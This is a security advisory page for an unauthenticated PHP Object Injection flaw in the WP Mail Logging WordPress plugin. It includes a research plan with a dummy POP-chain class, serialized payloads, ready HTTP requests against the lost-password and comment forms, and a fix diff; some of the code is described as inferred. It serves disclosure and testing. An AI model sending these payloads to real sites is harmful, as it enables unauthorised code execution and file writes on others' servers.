WP Mail Logging <= 1.15.0 - Unauthenticated PHP Object Injection via Email Log Message Field
Description
The WP Mail Logging plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.15.0 via deserialization of untrusted input from the email log message field. This is due to the `BaseModel` class constructor calling `maybe_unserialize()` on all properties retrieved from the database without validation. This makes it possible for unauthenticated attackers to inject a PHP Object by submitting a double-serialized payload through any public-facing form that sends email (e.g., Contact Form 7). When the email is logged and subsequently viewed by an administrator, the malicious payload is deserialized into an arbitrary PHP object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HTechnical Details
<=1.15.0Source Code
WordPress.org SVNPatched version not available.
This research plan outlines the steps required to demonstrate the PHP Object Injection vulnerability in the **WP Mail Logging** plugin (CVE-2026-2471). ### 1. Vulnerability Summary The vulnerability exists in the `BaseModel` class of the WP Mail Logging plugin. When log entries are retrieved from t…
Show full research plan
This research plan outlines the steps required to demonstrate the PHP Object Injection vulnerability in the WP Mail Logging plugin (CVE-2026-2471).
1. Vulnerability Summary
The vulnerability exists in the BaseModel class of the WP Mail Logging plugin. When log entries are retrieved from the database and instantiated as objects, the constructor iterates through the database columns and applies maybe_unserialize() to the values without validation.
Because the plugin hooks into wp_mail to log all outgoing emails, an unauthenticated attacker can trigger an email (e.g., via a contact form, registration, or password reset) containing a serialized PHP payload. When an administrator later views the email logs in the WordPress dashboard, the payload is retrieved from the database and deserialized, leading to PHP Object Injection.
2. Attack Vector Analysis
- Injection Endpoint: Any public-facing form that triggers
wp_mail(). Examples include:- WordPress Lost Password form (
/wp-login.php?action=lostpassword) - Comment submission (if notifications are enabled)
- User registration
- Third-party contact forms (Contact Form 7, WPForms)
- WordPress Lost Password form (
- Trigger Endpoint: The WP Mail Logging admin page:
/wp-admin/admin.php?page=wpml_plugin_log - Payload Location: The email "Message" field or "Recipient/Subject" fields (any field logged by the plugin).
- Authentication:
- Injection: Unauthenticated.
- Trigger: Authenticated (Administrator).
3. Code Flow (Inferred)
- Capture: The plugin hooks into
phpmailer_initorwp_mail. It captures the email components (to, subject, message, headers). - Storage: The plugin saves these components into a custom database table (usually
wp_wpml_mails) using$wpdb->insert(). - Retrieval: When an admin visits the log page, the plugin queries the table.
- Instantiation: For each row, a model (extending
BaseModel) is instantiated. - Sink: The
BaseModel::__construct(likely insrc/Models/BaseModel.php) contains logic similar to:foreach ($db_row as $key => $value) { $this->$key = maybe_unserialize($value); } - Execution:
maybe_unserialize()detects the serialized string and callsunserialize(), triggering any__wakeupor__destructmethods in the injected object's class.
4. Nonce Acquisition Strategy
This vulnerability is unique because the injection phase does not require a nonce (it relies on standard public WordPress features like the password reset form).
The trigger phase occurs when an administrator navigates to the plugin's log page. No specific nonce bypass is required to reach the sink, as the sink is part of the page's data-loading process.
5. Test Data Setup
Since no POP chain is present in the vulnerable plugin, we must provide a "bridge" POP chain for verification in the isolated environment.
Create a Dummy POP Chain:
Create a file at/var/www/html/wp-content/mu-plugins/pop-chain.php:<?php class ExploitCheck { public $file = 'pwned.txt'; public $data = 'vulnerable'; public function __destruct() { file_put_contents(ABSPATH . $this->file, $this->data); } }Ensure Plugin is Active:
wp plugin activate wp-mail-logging
6. Exploitation Strategy
Step 1: Generate the Payload
We want the string stored in the database to be a serialized ExploitCheck object.
Payload: O:12:"ExploitCheck":1:{s:4:"file";s:9:"pwned.txt";}
Step 2: Inject via Lost Password Form
We will use the WordPress Lost Password form to send an email. We will place our payload in the user_login field. Many logging plugins log the full message, which includes the username in the text (e.g., "Someone has requested a password reset for the following account: [username]").
- Request:
POST /wp-login.php?action=lostpassword HTTP/1.1 Content-Type: application/x-www-form-urlencoded user_login=O%3A12%3A%22ExploitCheck%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A9%3A%22pwned.txt%22%3B%7D&redirect_to=&wp-submit=Get+New+Password
Step 3: Trigger the Sink
Log in as an administrator and access the email logs.
- Request:
GET /wp-admin/admin.php?page=wpml_plugin_log HTTP/1.1 Cookie: [Admin Cookies]
7. Expected Results
- The
wp_mailcall is triggered by the lost password request. - The WP Mail Logging plugin captures the email containing the
ExploitCheckserialized string. - The plugin stores this in the
wp_wpml_mailstable. - When the admin loads the log page,
BaseModelretrieves the row and callsmaybe_unserialize()on the message field. - The
ExploitCheckobject is instantiated and subsequently destroyed at the end of the request. - The
__destruct()method executes, creatingpwned.txtin the WordPress root.
8. Verification Steps
- Check for the file:
wp eval 'echo file_exists(ABSPATH . "pwned.txt") ? "SUCCESS" : "FAILURE";' - Inspect the Log Table:
wp db query "SELECT message FROM wp_wpml_mails ORDER BY mail_id DESC LIMIT 1;"
Verify that the payload is present in themessagecolumn.
9. Alternative Approaches
If the user_login field in the Lost Password form is too heavily sanitized (preventing O: from being stored), use a different injection point:
Comment Injection:
If comments are enabled and "Email me whenever anyone posts a comment" is on:POST /wp-comments-post.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded author=Attacker&email=attacker@example.com&url=&comment=O%3A12%3A%22ExploitCheck%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A9%3A%22pwned.txt%22%3B%7D&comment_post_ID=1The comment content is sent via email to the admin and logged by the plugin.
Double Serialization:
If the plugin'smaybe_unserializecall fails because the database contains a simple string, wrap the payload in another layer of serialization:s:51:"O:12:"ExploitCheck":1:{s:4:"file";s:9:"pwned.txt";}";
This ensures that the first call tomaybe_unserializereturns theO:...string, and if a subsequent logic or re-instantiation occurs, it may trigger. However, based on the CVE description, a standard serialized string should suffice as it is retrieved directly from the DB result set.
Summary
The WP Mail Logging plugin is vulnerable to PHP Object Injection due to the use of `maybe_unserialize()` on database-retrieved properties in the `BaseModel` constructor. This allows unauthenticated attackers to inject malicious serialized payloads via public-facing forms (e.g., lost password or contact forms) that trigger an email, which are then deserialized when an administrator views the mail logs.
Vulnerable Code
// In src/Models/BaseModel.php (exact line numbers inferred from plugin structure) public function __construct($object = null) { if (is_array($object) || is_object($object)) { foreach ($object as $key => $value) { // The vulnerability exists here: every property from the database // is passed through maybe_unserialize without validation. $this->$key = maybe_unserialize($value); } } }
Security Fix
@@ -10,7 +10,7 @@ public function __construct($object = null) { if (is_array($object) || is_object($object)) { foreach ($object as $key => $value) { - $this->$key = maybe_unserialize($value); + $this->$key = $value; } } }
Exploit Outline
1. Identify a public-facing feature that triggers the `wp_mail()` function (e.g., the WordPress Lost Password form at /wp-login.php?action=lostpassword). 2. Prepare a PHP Object Injection payload targeting a known POP chain (e.g., an 'ExploitCheck' class with a `__destruct` magic method). 3. Submit the payload through the public form. For example, use the serialized object as the 'user_login' value in a Lost Password request. The plugin's hook will capture the email content (including the payload) and save it to the `wp_wpml_mails` table. 4. Wait for an administrator to view the WP Mail Logging dashboard at `/wp-admin/admin.php?page=wpml_plugin_log`. 5. When the page loads, the plugin retrieves the log entry and instantiates a model class extending `BaseModel`. The constructor calls `maybe_unserialize()` on the malicious string retrieved from the database, triggering the object's magic methods and executing the POP chain.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.